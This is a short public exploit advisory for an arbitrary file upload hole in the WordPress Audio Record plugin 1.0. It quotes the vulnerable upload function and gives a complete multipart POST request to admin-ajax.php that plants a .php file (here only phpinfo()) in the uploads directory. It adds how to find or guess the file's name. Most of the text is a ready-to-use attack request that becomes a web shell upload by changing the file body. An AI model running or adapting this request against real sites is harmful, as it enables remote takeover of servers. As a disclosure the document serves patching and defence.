WordPress Audio Record plugin version 1.0 suffers from a remote shell upload vulnerability.
c92b686494dcec860d9e73c88190a52a# Exploit Title: WordPress Plugin Audio Record 1.0 - Arbitrary File Upload
# Date: 2018-12-24
# Software Link: https://wordpress.org/plugins/audio-record/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 1.0
# Category: webapps
# Unrestricted file upload in record upload process allowing arbitrary extension.
# File: recorder.php
# Vulnerable code:
function save_record_callback() {
foreach(array('audio') as $type) {
if (isset($_FILES["${type}-blob"])) {
$fileName = uniqid() . '_' .$_POST["${type}-filename"] ;
$path_array = wp_upload_dir();
$path = str_replace('\\', '/', $path_array['path']);
$uploadDirectory = $path . "/$fileName";
if (!move_uploaded_file($_FILES["${type}-blob"]["tmp_name"], $uploadDirectory)) {
echo 000;
wp_die("problem moving uploaded file");
}
# Exploitation example:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
...
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="audio-filename"
file.php
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="audio-blob"; filename="blob"
Content-Type: audio/wav
<?php phpinfo();
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="action"
save_record
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="course_id"
undefined
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="unit_id"
undefined
-----------------------------18311719029180117571501079851--
# Uploaded file will be located at standard WordPress media upload directory (for ex: /wp-content/uploads/year/month/).
# If directory listing is disabled - file name can be guessed due to cryptographically insecure nature of uniqid() call.